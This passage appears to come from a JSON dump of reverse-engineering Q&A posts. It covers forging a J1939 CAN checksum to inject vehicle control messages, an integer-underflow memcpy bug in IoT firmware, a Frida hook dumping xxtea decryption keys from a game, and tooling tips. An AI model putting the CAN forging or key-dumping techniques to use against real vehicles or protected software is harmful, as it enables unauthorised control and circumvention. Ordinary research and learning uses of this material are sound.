(RandomAccessFile file = new RandomAccessFile(args[0],&quot;r&quot;)) {\n            File out = new File(args[0]+&quot;out&quot;);\n            out.mkdirs();\n            file.seek(0x6b);\n                            //guessed from file reading\n            for(int i=0; i &lt; 0x29;i++)\n            {\n                byte[] swapMe = new byte[4];\n                file.read(swapMe);\n                ByteBuffer wrapped = ByteBuffer.wrap(new byte[]{swapMe[3],swapMe[2],swapMe[1],swapMe[0]}); // big-endian by default\n                int offsetFile = wrapped.getInt();\n                System.out.println(offsetFile);\n                long retval = file.getFilePointer();\n\n                file.seek(offsetFile);\n\n                file.read(swapMe);\n                wrapped = ByteBuffer.wrap(new byte[]{swapMe[3],swapMe[2],swapMe[1],swapMe[0]}); // big-endian by default\n                int lenFile = wrapped.getInt();\n                System.out.println(lenFile);\n                byte[] innerFile = new byte[lenFile];\n                file.read(innerFile);\n                file.seek(retval);\n                try (RandomAccessFile outRandom = new RandomAccessFile(new File(out, i + &quot;.bin&quot;), &quot;rw&quot;)) {\n                    outRandom.write(innerFile);\n                }\n            }\n\n        } catch (FileNotFoundException e) {\n            throw new RuntimeException(e);\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n\n    }\n}\n\n</code></pre>\n"
    },
    {
        "Id": "31666",
        "CreationDate": "2023-03-13T16:37:59.500",
        "Body": "<p>I am attempting to reverse engineer some proprietary J1939 CAN traffic so that I can remotely control some actions on a vehicle. I have collected a number of traces covering the events I want to control and have identified the controlling messages for several, but the payloads have some kind of authentication/checksum that I have not been able to figure out and was hoping someone might recognize what is going on.</p>\n<p>I have so far attempted some different things like summing set bits (both data and ID) and a few quick CRC calculators, but I haven't had any luck. This is outside of my normal skillset, so apologies if there is something obvious I'm missing.</p>\n<p>The checksums are in the last (8th) byte of the message payloads. There is appears to be a message counter used in the calculation as the value increments without any changes to the other data bytes. From what I can tell, the lower nibble increments by one each message and then resets on overflow.</p>\n<p>The upper nibble also increments (though with only three bits), but the value will change with the payload. The counter also skips a value each iteration. The value is different between the two iterations that complete before the lower nibble overflows, but appears to increment by one the second iterations UNLESS the number skipped is 7, in which case both 7 and 0 are skipped. Note that I am not certain that the 7/0 skip is consistent across payloads nor if it is the only time multiple digits are skipped.</p>\n<p>I have provided some data samples below (I have others I can provide) with specific notes immediately before them. If anyone recognizes this pattern or if there is anything to clarify or data to look for, please let me know!</p>\n<h3>Data Samples</h3>\n<p>This sample illustrates the behavior of both nibbles of the checksum byte. This pattern repeats until one of the other data bytes changes. Of note is that message 0x0CFF9<strong>7</strong>80 has the exact same checksum value and data bytes during this sample EXCEPT for byte 7, which is 0x39 instead of 0x00 (e.g., the first message is <code>0CFF9780  E8 03 E8 03 00 64 39 10</code>). This appears to be a coincidence as the checksums do differ with different payloads (see following sample).</p>\n<pre><code>J1939_ID  Data_bytes-------------\n0CFF9880  E8 03 E8 03 00 64 00 10\n0CFF9880  E8 03 E8 03 00 64 00 21\n0CFF9880  E8 03 E8 03 00 64 00 32\n0CFF9880  E8 03 E8 03 00 64 00 53\n0CFF9880  E8 03 E8 03 00 64 00 64\n0CFF9880  E8 03 E8 03 00 64 00 75\n0CFF9880  E8 03 E8 03 00 64 00 06\n0CFF9880  E8 03 E8 03 00 64 00 17\n0CFF9880  E8 03 E8 03 00 64 00 28\n0CFF9880  E8 03 E8 03 00 64 00 39\n0CFF9880  E8 03 E8 03 00 64 00 4A\n0CFF9880  E8 03 E8 03 00 64 00 6B\n0CFF9880  E8 03 E8 03 00 64 00 7C\n0CFF9880  E8 03 E8 03 00 64 00 0D\n0CFF9880  E8 03 E8 03 00 64 00 1E\n0CFF9880  E8 03 E8 03 00 64 00 2F\n</code></pre>\n<p>This sample is the data for 0x0CFF9780 after its data bytes (bytes 3 and 4) change from the above sample. The data for 0x0Cff9880 is the same as the first sample during this time frame.</p>\n<pre><code>J1939_ID  Data_bytes-------------\n0CFF9780  E8 03 D0 07 00 64 39 30\n0CFF9780  E8 03 D0 07 00 64 39 41\n0CFF9780  E8 03 D0 07 00 64 39 52\n0CFF9780  E8 03 D0 07 00 64 39 63\n0CFF9780  E8 03 D0 07 00 64 39 74\n0CFF9780  E8 03 D0 07 00 64 39 05\n0CFF9780  E8 03 D0 07 00 64 39 16\n0CFF9780  E8 03 D0 07 00 64 39 37\n0CFF9780  E8 03 D0 07 00 64 39 48\n0CFF9780  E8 03 D0 07 00 64 39 59\n0CFF9780  E8 03 D0 07 00 64 39 6A\n0CFF9780  E8 03 D0 07 00 64 39 7B\n0CFF9780  E8 03 D0 07 00 64 39 0C\n0CFF9780  E8 03 D0 07 00 64 39 1D\n0CFF9780  E8 03 D0 07 00 64 39 2E\n0CFF9780  E8 03 D0 07 00 64 39 4F\n</code></pre>\n<p>This sample captures the upper nibble skipping both 7 and 0 on its second iteration.</p>\n<pre><code>J1939_ID  Data_bytes-------------\n18FF9980  03 00 00 00 00 00 00 32\n18FF9980  03 00 00 00 00 00 00 43\n18FF9980  03 00 00 00 00 00 00 54\n18FF9980  03 00 00 00 00 00 00 75\n18FF9980  03 00 00 00 00 00 00 06\n18FF9980  03 00 00 00 00 00 00 17\n18FF9980  03 00 00 00 00 00 00 28\n18FF9980  03 00 00 00 00 00 00 39\n18FF9980  03 00 00 00 00 00 00 4A\n18FF9980  03 00 00 00 00 00 00 5B\n18FF9980  03 00 00 00 00 00 00 6C\n18FF9980  03 00 00 00 00 00 00 1D\n18FF9980  03 00 00 00 00 00 00 2E\n18FF9980  03 00 00 00 00 00 00 3F\n18FF9980  03 00 00 00 00 00 00 10\n18FF9980  03 00 00 00 00 00 00 21\n</code></pre>\n<p>These are two separate samples that are minor variations of the above sample that only have byte 1 change value.</p>\n<pre><code>J1939_ID  Data_bytes-------------\n18FF9980  11 00 00 00 00 00 00 20\n18FF9980  11 00 00 00 00 00 00 31\n18FF9980  11 00 00 00 00 00 00 42\n18FF9980  11 00 00 00 00 00 00 53\n18FF9980  11 00 00 00 00 00 00 64\n18FF9980  11 00 00 00 00 00 00 75\n18FF9980  11 00 00 00 00 00 00 06\n18FF9980  11 00 00 00 00 00 00 27\n18FF9980  11 00 00 00 00 00 00 38\n18FF9980  11 00 00 00 00 00 00 49\n18FF9980  11 00 00 00 00 00 00 5A\n18FF9980  11 00 00 00 00 00 00 6B\n18FF9980  11 00 00 00 00 00 00 7C\n18FF9980  11 00 00 00 00 00 00 0D\n18FF9980  11 00 00 00 00 00 00 1E\n18FF9980  11 00 00 00 00 00 00 3F\n\n18FF9980  01 00 00 00 00 00 00 70\n18FF9980  01 00 00 00 00 00 00 01\n18FF9980  01 00 00 00 00 00 00 12\n18FF9980  01 00 00 00 00 00 00 23\n18FF9980  01 00 00 00 00 00 00 34\n18FF9980  01 00 00 00 00 00 00 45\n18FF9980  01 00 00 00 00 00 00 56\n18FF9980  01 00 00 00 00 00 00 77\n18FF9980  01 00 00 00 00 00 00 08\n18FF9980  01 00 00 00 00 00 00 19\n18FF9980  01 00 00 00 00 00 00 2A\n18FF9980  01 00 00 00 00 00 00 3B\n18FF9980  01 00 00 00 00 00 00 4C\n18FF9980  01 00 00 00 00 00 00 5D\n18FF9980  01 00 00 00 00 00 00 6E\n18FF9980  01 00 00 00 00 00 00 1F\n</code></pre>\n<p>Finally, this is one long sample that has a number of byte changes in it. Note that, unlike previous samples, this one does NOT repeat.</p>\n<pre><code>J1939_ID  Data_bytes-------------\n0CFF9880 E8 03 E8 03 00 64 00 10\n0CFF9880 E8 03 E8 03 00 64 00 21\n0CFF9880 E8 03 E8 03 00 64 00 32\n0CFF9880 52 04 71 03 00 64 00 73\n0CFF9880 52 04 71 03 00 64 00 04\n0CFF9880 52 04 71 03 00 64 00 15\n0CFF9880 52 04 71 03 00 64 00 26\n0CFF9880 52 04 71 03 00 64 00 47\n0CFF9880 52 04 71 03 00 64 00 58\n0CFF9880 52 04 71 03 00 64 00 69\n0CFF9880 79 05 B4 03 00 64 00 1A\n0CFF9880 10 06 CF 03 00 64 00 2B\n0CFF9880 10 06 CF 03 00 64 00 3C\n0CFF9880 47 06 CF 03 00 64 00 3D\n0CFF9880 47 06 CF 03 00 64 00 4E\n0CFF9880 47 06 CF 03 00 64 00 5F\n0CFF9880 47 06 CF 03 00 64 00 40\n0CFF9880 47 06 CF 03 00 64 00 51\n0CFF9880 47 06 CF 03 00 64 00 72\n0CFF9880 6C 06 CF 03 00 64 00 23\n0CFF9880 6C 06 CF 03 00 64 00 34\n0CFF9880 6C 06 CF 03 00 64 00 55\n0CFF9880 8B 06 CF 03 00 64 00 16\n0CFF9880 8B 06 CF 03 00 64 00 27\n0CFF9880 8B 06 CF 03 00 64 00 38\n0CFF9880 8B 06 CF 03 00 64 00 49\n0CFF9880 8B 06 CF 03 00 64 00 5A\n0CFF9880 AA 06 CF 03 00 64 00 6B\n0CFF9880 AA 06 CF 03 00 64 00 7C\n0CFF9880 AA 06 CF 03 00 64 00 0D\n0CFF9880 AA 06 CF 03 00 64 00 1E\n0CFF9880 CA 06 CF 03 00 64 00 7F\n</code></pre>\n",
        "Title": "J1939 message payload checksum",
        "Tags": "|automation|software-security|checksum|communication|",
        "Answer": "<p>Found the calculation in a newer version of the J1939 standard than I originally had access to. The manufacturer reused the following equation from SPN 4207:</p>\n<pre><code>Checksum = \n(Byte1 + Byte2 + Byte3 + Byte4 + Byte5 + Byte6 + Byte7 + \nmessage counter &amp; 0x0F + \nmessage ID low byte + message ID mid low byte + message ID mid high byte + message ID high byte)\n\nMessage Checksum = (((Checksum &gt;&gt; 6) &amp; 0x03) + (Checksum &gt;&gt;3) + Checksum) &amp; 0x07\n</code></pre>\n"
    },
    {
        "Id": "31671",
        "CreationDate": "2023-03-14T01:05:32.547",
        "Body": "<p>i am a <strong>newbie</strong> in the world of <strong>RE</strong> ,</p>\n<p>i start to explorer a <strong>main entry of a classic game</strong> from 90's\nand i start to see something confuse me as a newbie</p>\n<p>this <strong>main entry function</strong> start with <strong>pushing stuff</strong> to the stack <strong>before</strong> it's <strong>prologue</strong>\n<a href=\"https://i.stack.imgur.com/ijPXw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ijPXw.png\" alt=\"enter image description here\" /></a></p>\n<p>can someone explain why please .</p>\n",
        "Title": "why some functions push data before the prologue",
        "Tags": "|disassembly|assembly|x86|stack|exe|",
        "Answer": "<p>It's saving registers that might be modified by the function. Notice that you can see assignments to all three of those registers throughout the function body. Also notice at the bottom of your screenshot that the values of the registers are restored by popping them right before the return statement, such that the calling function will have the same values for those registers after the call as they did before the call.</p>\n"
    },
    {
        "Id": "31673",
        "CreationDate": "2023-03-14T12:37:52.297",
        "Body": "<p>I found a couple of interesting integer underflows leading to <code>memcpy()</code> wild copies in a TLV parser process of some random IoT firmware. It is 32-bit ARMv7.</p>\n<p>I'm able to emulate the userspace process using qemu and debug it, I can confirm the wild copy by inspecting register state before the <code>memcpy()</code> and memory state after it, but when I let it run, it won't crash. No page fault, no overwritten PC, it just exits.</p>\n<p>I tried to come up with some C code that resembles what my code in the field does:</p>\n<pre><code>#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n\nvoid parse_stuff(char*);\n\nint main(int argc, char** argv) {\n        char buffer[128];\n        char c;\n\n        while (1) {\n                parse_stuff(buffer);\n                c = getc(stdin);\n                if (c == 'e')\n                        return 0;\n        }\n\n}\n\nvoid parse_stuff(char* buf){\n        char* heap = malloc(0x1000);\n        for(int i=0;i&lt;0x1000;i++)\n                heap[i] = 0x41;\n\n        memcpy(buf, heap, 0xffffffff);\n}\n\n</code></pre>\n<p><em>If I compile this and run it in qemu, it won't crash.</em></p>\n<p>There is a tight loop and the parser routine is called from that, so I'm guessing if the parse_stuff stack frame is a leaf, then a stack bof could only happen when the caller is the one trying to restore the PC to its caller (entry / <code>libc_start_main</code>, whatever), but I'm still puzzled by this, because on x86-64, this easily crashes so somehow the ARM binary or maybe the QEMU environment does not trigger that page violation that I'm expecting to happen due to the wild <code>memcpy()</code>, even if there is no PC control due to the cyclometric situation this way.</p>\n<p>Has any of you run into something like this?</p>\n",
        "Title": " This code does not crash on ARM (qemu). Why?",
        "Tags": "|binary-analysis|arm|buffer-overflow|stack|firmware-analysis|",
        "Answer": "<p><strong>UPDATE:\nOk, so the older glibc noncompliance I re-discovered was actually fixed back then, and it is a CVE by itself, CVE-2020-6096:</strong></p>\n<p><a href=\"https://github.com/bminor/glibc/commit/beea361050728138b82c57dda0c4810402d342b9\" rel=\"nofollow noreferrer\">https://github.com/bminor/glibc/commit/beea361050728138b82c57dda0c4810402d342b9</a></p>\n<p>Ok, so I resolved this.\nThe glibc memcpy implementation in place has this code:</p>\n<p><a href=\"https://github.com/rilian-la-te/glibc/blob/master/sysdeps/arm/armv7/multiarch/memcpy_impl.S#L300\" rel=\"nofollow noreferrer\">https://github.com/rilian-la-te/glibc/blob/master/sysdeps/arm/armv7/multiarch/memcpy_impl.S#L300</a></p>\n<pre><code>    mov dst, dstin  /* Preserve dstin, we need to return it.  */\n    cmp count, #64\n    bge .Lcpy_not_short\n</code></pre>\n<p>This is signed comparison, so a 0xffffffff-style wild copy is not possible, becuase it is treated as a short copy. Feels weird to perform a signed comparison of a size_t parameter in assembly without any additional comments by glibc authors, but it ends up being bit of a security measure.</p>\n<p>On my system, though,</p>\n<pre><code>CHAR_BIT       = 8\nMB_LEN_MAX     = 16\n\nCHAR_MIN       = +0\nCHAR_MAX       = +255\nSCHAR_MIN      = -128\nSCHAR_MAX      = +127\nUCHAR_MAX      = 255\n\nSHRT_MIN       = -32768\nSHRT_MAX       = +32767\nUSHRT_MAX      = 65535\n\nINT_MIN        = -2147483648\nINT_MAX        = +2147483647\nUINT_MAX       = 4294967295\n\nLONG_MIN       = -2147483648\nLONG_MAX       = +2147483647\nULONG_MAX      = 4294967295\n\nLLONG_MIN      = -9223372036854775808\nLLONG_MAX      = +9223372036854775807\nULLONG_MAX     = 18446744073709551615\n\nPTRDIFF_MIN    = -2147483648\nPTRDIFF_MAX    = +2147483647\nSIZE_MAX       = 4294967295\nSIG_ATOMIC_MIN = -2147483648\nSIG_ATOMIC_MAX = +2147483647\nWCHAR_MIN      = +0\nWCHAR_MAX      = +4294967295\nWINT_MIN       = 0\nWINT_MAX       = 4294967295\n</code></pre>\n<p>Meaning that a memcpy of 2147483647+1 bytes is treated like this as well as a short copy that doesn't actually do much, even though that 'n' is well within SIZE_MAX. Not a practical thing to do, and this will mean that src and dst memory areas do overlap, but still feels like noncompliance.</p>\n"
    },
    {
        "Id": "31676",
        "CreationDate": "2023-03-15T08:11:04.077",
        "Body": "<pre><code>000000 00 00 00 00 00 00 00 00 00 00 00 00 01 01 08 03\n000010 17 10 15 27 00 00 01 00 FB 00 0A 00 00 00 38 FF\n000020 01 00 FB 00 09 00 00 00 34 FF 01 00 FB 00 09 00\n000030 00 00 31 FF 01 00 FB 00 08 00 00 00 2D FF 01 00\n000040 FB 00 08 00 00 00 2A FF 01 00 FB 00 08 00 00 00\n000050 26 FF 01 00 FB 00 06 00 00 00 24 FF 01 00 FB 00\n000060 06 00 00 00 24 FF 01 00 FB 00 06 00 00 00 22 FF\n000070 01 00 FB 00 06 00 00 00 24 FF 01 00 FB 00 06 00\n000080 00 00 22 FF 01 00 FB 00 06 FF EB 00 22 FF 01 00\n000090 FB 00 06 00 00 00 22 FF 01 00 FB 00 06 00 00 00\n0000A0 22 FF 01 00 FB 00 06 00 00 00 22 FF 01 00 FB 00\n0000B0 06 00 00 00 1E FF 01 00 FB 00 06 00 00 00 1E FF\n0000C0 01 00 FB 00 06 00 00 00 1E FF 01 00 FB 00 06 00\n0000D0 00 00 1E FF 01 00 FB 00 06 00 00 00 1E FF 01 00\n0000E0 FB 00 06 00 00 00 1E FF 01 00 FB 00 05 00 00 00\n0000F0 1E FF 01 00 FB 00 06 00 00 00 1C FF 01 00 FB 00\n000100 06 00 00 00 1C FF 01 00 FB 00 06 00 00 00 1C FF\n000110 01 00 FB 00 06 00 00 00 1C FF 01 00 FB 00 06 00\n000120 00 00 1C FF 01 00 FB 00 06 00 00 00 1C FF 01 00\n000130 FB 00 06 00 00 00 1C FF 01 00 FB 00 05 00 00 00\n</code></pre>\n<p>Hi, im a noob trying to decode this binary file but to no avail, appreciate if anyone could help. The only thing that i know is that the data type is an unsigned char type. i tried  standard x86 double (8 byte) representation extraction but to no avail. Please help, thanks in advance.</p>\n",
        "Title": "reading data from a binary file",
        "Tags": "|binary|",
        "Answer": "<p>1   0   251 0   201 1   67  1   62  255<br>\n1   0   251 0   200 1   77  1   61  255<br>\n1   0   251 0   200 1   72  1   62  255<br>\n1   0   251 0   200 1   65  1   63  255<br>\n2 22 3 23 12 7 28 0 252 1 219 0 200 0 0 0 49 10 36 10 1 242 1 250 0 0 1<br>\n1   0   252 0   186 1   63  1   62  255<br>\n1   0   252 0   214 0   212 0   0   255<br>\n1   0   252 0   204 0   201 0   0   255<br>\n1   0   252 0   238 1   38  0   0   255<br>\n1   0   252 0   242 1   10  0   0   255<br>\n1   0   252 0   253 1   1   0   0   255<br>\n1   0   252 1   9   1   17  0   0   255<br>.....this type of pattern goes on for sometime<br>\n1   0   251 0   202 1   65  1   67  255<br>\n1   0   251 0   202 1   76  1   65  255<br>\n1   0   251 0   198 1   54  1   60  255<br>\n2 22 3 23 12 7 34 0 252 1 219 0 200 0 0 0 49 10 36 10 1 239 1 252 0 0 1<br>\n1   0   252 0   189 1   67  1   66  255<br>\n1   0   252 0   216 0   188 0   0   255<br>\n1   0   252 0   210 0   234 0   0   255<br>\n1   0   252 0   237 1   28  0   0   255<br>\n1   0   252 0   245 0   246 0   0   255<br></p>\n<p>Hi Ian, thanks for your pattern suggestion that i follow &amp; convert the hex to unsigned char &amp; got result as above, the data start to make sense as portion 2 22 3 23 12 7 34 means date 22/3/23 and time 12:7:34. I just have to translate other data that are available.</p>\n<p>Thanks again Ian Cook</p>\n"
    },
    {
        "Id": "31688",
        "CreationDate": "2023-03-18T19:20:45.840",
        "Body": "<p>I'm learning lena151's materials and in 4 lesson she uses Olly's Back-to-user feature to find where the MassegeBox is creating.</p>\n<p><a href=\"https://i.stack.imgur.com/tAWbe.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tAWbe.gif\" alt=\"enter image description here\" /></a></p>\n<p>It works fine under x32 windows server 2003.</p>\n<p>But what about nowadays?!</p>\n<p>Is there similar option in IDA+WINDBG for x64 apps?\nCoz I've tried setting BP to the .text section but I faced the message of IDA 'BP set is failed coz of break point overlapping' (so you should delete all previous if some was set)</p>\n",
        "Title": "Ida+Windbg alternative of Olly's \"Back to user code\" feature",
        "Tags": "|ida|ollydbg|windbg|",
        "Answer": "<p>I've got found incredibly good plugin for IDA.</p>\n<p>The tools:</p>\n<ol>\n<li><p>PixtopianBook.exe (lena151's 4th tutorial).</p>\n</li>\n<li><p>IDA 7.6 x86.</p>\n</li>\n<li><p>Funcap python script for ida.</p>\n</li>\n</ol>\n<p>The task:\nDo any action and find out which function was called.</p>\n<p>The recipe:</p>\n<p><strong>1. Get the script by typing</strong> <code>git clone https://github.com/deresz/funcap.git</code></p>\n<p><strong>2. Run IDA and select the Local Windows debugger (Windbg froze up when launch with lots of breakpoints).</strong></p>\n<blockquote>\n<p><a href=\"https://i.stack.imgur.com/4DAeO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4DAeO.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<p><strong>3. Run process as usual, right till the exe fully loads up.</strong></p>\n<blockquote>\n<p><a href=\"https://i.stack.imgur.com/10l5B.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/10l5B.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<p><strong>4. Pause process, hold ALT+F7 and select <code>funcap.py</code> script</strong></p>\n<blockquote>\n<p><a href=\"https://i.stack.imgur.com/T4R65.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/T4R65.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<p><strong>5. Now type in command line <code>d.hookSeg('.text')</code> and run process.</strong></p>\n<blockquote>\n<p><a href=\"https://i.stack.imgur.com/Pfsqw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Pfsqw.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<p><strong>6. Now just click the interesting button and wait till it fully drawn.</strong></p>\n<blockquote>\n<p><a href=\"https://i.stack.imgur.com/zyO4h.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zyO4h.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n<p><strong>7. You will see a lot of logs in the IDA output, select and copy whole text to some notepad and search for <code>MessageBox</code>. Here we go :\u0437</strong></p>\n<blockquote>\n<p><a href=\"https://i.stack.imgur.com/n4ALc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n4ALc.png\" alt=\"enter image description here\" /></a></p>\n</blockquote>\n"
    },
    {
        "Id": "31691",
        "CreationDate": "2023-03-19T12:33:36.503",
        "Body": "<p>When I submit a PDF file to analyse, it triggers a signature called <code>stealth_file</code>. I just added the alerted path into the whitelist as shown, but it didn't solve the problem.</p>\n<p>How to resolve it?\n<a href=\"https://i.stack.imgur.com/cyMkE.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cyMkE.jpg\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/B7N14.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/B7N14.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "CAPE-sandbox signatures",
        "Tags": "|sandbox|",
        "Answer": "<p>I solved the issue by restarting the cape-processor.service</p>\n<pre><code>$ sudo systemctl restart cape-processor.service\n</code></pre>\n"
    },
    {
        "Id": "31692",
        "CreationDate": "2023-03-20T11:14:09.040",
        "Body": "<p>When reversing Unity dll, the decompiler (i.e. dnSpy) sometimes would create a class with 2 constructors, which are mostly identical apart from some specific field set / not set.</p>\n<p>Here is an example:</p>\n<pre><code>public TurretShootOrder(IGalaxyTarget target, string sectionName, GalaxyWeaponDefinition galaxyWeaponDefinition, float startShootTime, Vector3 startRandomDispersion, float startImpactTime, float endShootTime, Vector3 endRandomDispersion, float endImpactTime, int shootCount, float missProportion, int flags = 0, int salvoId = 0, int salvoTotalShootCount = 0, int inSalvoFirstShootIndex = 0)\n{\n\n\n    this.target = target;\n    this.sectionName = sectionName;\n</code></pre>\n<p>AND:</p>\n<pre><code>public TurretShootOrder(IGalaxyTarget target, IGalaxyModuleSection targetSection, GalaxyWeaponDefinition galaxyWeaponDefinition, float startShootTime, Vector3 startRandomDispersion, float startImpactTime, float endShootTime, Vector3 endRandomDispersion, float endImpactTime, int shootCount, float missProportion, int flags = 0, int salvoId = 0, int salvoTotalShootCount = 0, int inSalvoFirstShootIndex = 0)\n{\n    this.target = target;\n    this.sectionName = string.Empty;\n</code></pre>\n<p>As you can see the second implementation doesn't set the sectionName on initialization. Otherwise these constructors are identical.</p>\n<p>So, how do I combine these 2 constructors together?</p>\n",
        "Title": "Double constructor when reversing Unity game",
        "Tags": "|decompilation|c#|",
        "Answer": "<p>Based on the discussion in comments and further investigation, when the class is instantiated like this:</p>\n<pre><code> TurretShootOrder turretShootOrder2 = new TurretShootOrder(firstFakeTarget, null, ....\n</code></pre>\n<p>then it is neccessary to decide, which type the second parameter has in this case. Is it String or IGalaxyModuleSection?</p>\n<p>In the above example according to C# rules it can't be a String. As then it won't be equal to null, but to &quot;&quot; (Empty.String). Which points to the type of that second parameter, which in this case is IGalaxyModuleSection.</p>\n<p>Thus, there is a missing variable introduction in the code where the class got instantiated. So, the (simplified) solution could look like this:</p>\n<pre><code> IGalaxyModuleSection targetSection = null;\n     TurretShootOrder turretShootOrder2 = new TurretShootOrder(firstFakeTarget, targetSection, .\n</code></pre>\n"
    },
    {
        "Id": "31730",
        "CreationDate": "2023-03-30T16:25:38.753",
        "Body": "<p>I want to hook a xxtea_decrypt\nbut it not trigger and on other games it trigger but some games not trigger it.\nOn ida pro its trigger the xxtea_decrypt but frida nope\nhere is the code that i using it</p>\n<pre><code>var nptr = Module.findExportByName(&quot;libcocos2dlua.so&quot;, &quot;xxtea_decrypt&quot;);\nfunction fn() {\n  nptr = Module.findExportByName(&quot;libcocos2dlua.so&quot;, &quot;xxtea_decrypt&quot;);\n // nptr = Module.findExportByName(&quot;libcocos2dlua.so&quot;, &quot;luaL_loadbuffer&quot;);\n  if (!nptr) {\n    console.log(&quot;xxtea_decrypt cannot be found!&quot;);\n    setTimeout(fn, 900);\n  // } else {\n\n  //   // console.log(&quot;xxtea_decrypt&quot;);\n\n  } else {\n    Interceptor.attach(nptr, {\n     \n    \n      onEnter: function(args) {\n       \n        console.log(&quot;----------------BEGIN----------------&quot;);\n        console.log(&quot;Key: &quot;);\n        console.log(hexdump(Memory.readByteArray(args[1], 5000),{\n         offset: 0,\n         length: 500,\n         header: true,\n         ansi: true\n        }));\n\n        console.log(&quot;sign:&quot;);\n        console.log(hexdump(Memory.readByteArray(args[2], 12),{\n            offset: 0,\n            length: 12,\n            header: true,\n            ansi: true\n        }));\n      },\n      onLeave: function(retval) {\n        // console.log(&quot;Decrypt:&quot;);\n        // console.log(hexdump(Memory.readByteArray(retval, 50),{\n        //  offset: 0,\n        //  length: 50,\n        //  header: true,\n        //  ansi: true\n        // }));\n        // console.log(&quot;-----------------END-----------------&quot;);   \n      }\n    })\n  }\n}\nvar timeout = setTimeout(fn, 500);\n</code></pre>\n<p>The following screen shot shows the <code>xxtea_decrypt</code> function in IDA:\n<a href=\"https://i.stack.imgur.com/kPvUB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kPvUB.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Frida not hook functions",
        "Tags": "|android|frida|",
        "Answer": "<p>Your problem is that the name of the function you want to hook is not <code>xxtea_decrypt</code> and because of this you can not hook it:</p>\n<p>In your IDA scren shot the function is shown as <code>xxtea_decrypt(uchar *,uint,uchar *,uchar *)</code>.</p>\n<p>That the function has not only a name but also argument types displayed means it is not a plain C function but instead a C++ function which uses name mangling.</p>\n<p>Name mangling encodes the argument types in the function name, which means the function name displayed by IDA is not the real function name, but the demangled function name which is optimized for human readability.</p>\n<p>You will see the real function name if you disable name mangling in IDA. You can find the option in the context menu of the function.</p>\n<p>Most likely IDA will display the function name without demangling as <code>_Z13xxtea_decryptPhjS_jPj</code>. This is the real function name you have to use for hooking in Frida.</p>\n<p>This function name I got from a library of the same name I found on the Internet, and the xxtea_decrypt function seems to have the same argument types as the one in your library, so the function may be the same but you should better check in IDA with disabled name mangling and copy the function name from there.</p>\n<p>If you want to hook the xxtea_decrypt function you have to use this hook:</p>\n<pre><code>var nptr = Module.findExportByName(&quot;libcocos2dlua.so&quot;, &quot;_Z13xxtea_decryptPhjS_jPj&quot;);\n</code></pre>\n"
    },
    {
        "Id": "31737",
        "CreationDate": "2023-04-01T16:47:12.703",
        "Body": "<p>I'm reverse engineering a hardware device which stores time a strange format:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>32-bit word</th>\n<th>H:MM:SS (rounded)</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>0x03200000</td>\n<td>0:00:00</td>\n</tr>\n<tr>\n<td>0x09700000</td>\n<td>0:00:00</td>\n</tr>\n<tr>\n<td>0x0A1B0000</td>\n<td>0:00:01</td>\n</tr>\n<tr>\n<td>0x0A160000</td>\n<td>0:00:01</td>\n</tr>\n<tr>\n<td>0x0B098000</td>\n<td>0:00:02</td>\n</tr>\n<tr>\n<td>0x0F376600</td>\n<td>0:00:46</td>\n</tr>\n<tr>\n<td>0x0F347800</td>\n<td>0:00:46</td>\n</tr>\n<tr>\n<td>0x10038B00</td>\n<td>0:01:07</td>\n</tr>\n<tr>\n<td>0x10040800</td>\n<td>0:01:07</td>\n</tr>\n<tr>\n<td>0x1056A600</td>\n<td>0:01:49</td>\n</tr>\n<tr>\n<td>0x10573C00</td>\n<td>0:01:50</td>\n</tr>\n<tr>\n<td>0x10589A00</td>\n<td>0:01:50</td>\n</tr>\n<tr>\n<td>0x1058B300</td>\n<td>0:01:50</td>\n</tr>\n<tr>\n<td>0x13173240</td>\n<td>0:10:19</td>\n</tr>\n<tr>\n<td>0x13173880</td>\n<td>0:10:19</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>I believe the time is recorded in some internal high-frequency timer ticks, but I don't see any linear correspondence between the words and time values. Any tips?</p>\n<p>UPD. I found out that it's Texas Instruments's custom floating-point format for TMS320 DSPs. Described <a href=\"http://www.ti.com/lit/pdf/spra400\" rel=\"nofollow noreferrer\">here</a>.</p>\n",
        "Title": "Decoding a time format",
        "Tags": "|binary-format|",
        "Answer": "<p>The values appear to be a floating point format similar to <a href=\"https://en.wikipedia.org/wiki/Single-precision_floating-point_format\" rel=\"nofollow noreferrer\">single-precision floating-point format</a>.</p>\n<p>If I interpret the first byte as an unbiased exponent and interpret the other bytes (excluding the highest bit) as a fraction, then the value <kbd>(1 + <em>fraction</em>) \u00d7 2<sup><em>exponent</em></sup></kbd> appears to be the number of milliseconds:</p>\n<p><a href=\"https://i.stack.imgur.com/RadyM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RadyM.png\" alt=\"table showing how the bits are assigned to exponent and fraction values\" /></a></p>\n<p>Equivalently, in the following textual table, the first byte <em><strong>e</strong></em> is the exponent, the other bytes <em><strong>n</strong></em> form the numerator of the fraction, and the denominator of the fraction is 2<sup>23</sup>. The value <kbd>(1 + <em>n</em>/2<sup>23</sup>) \u00d7 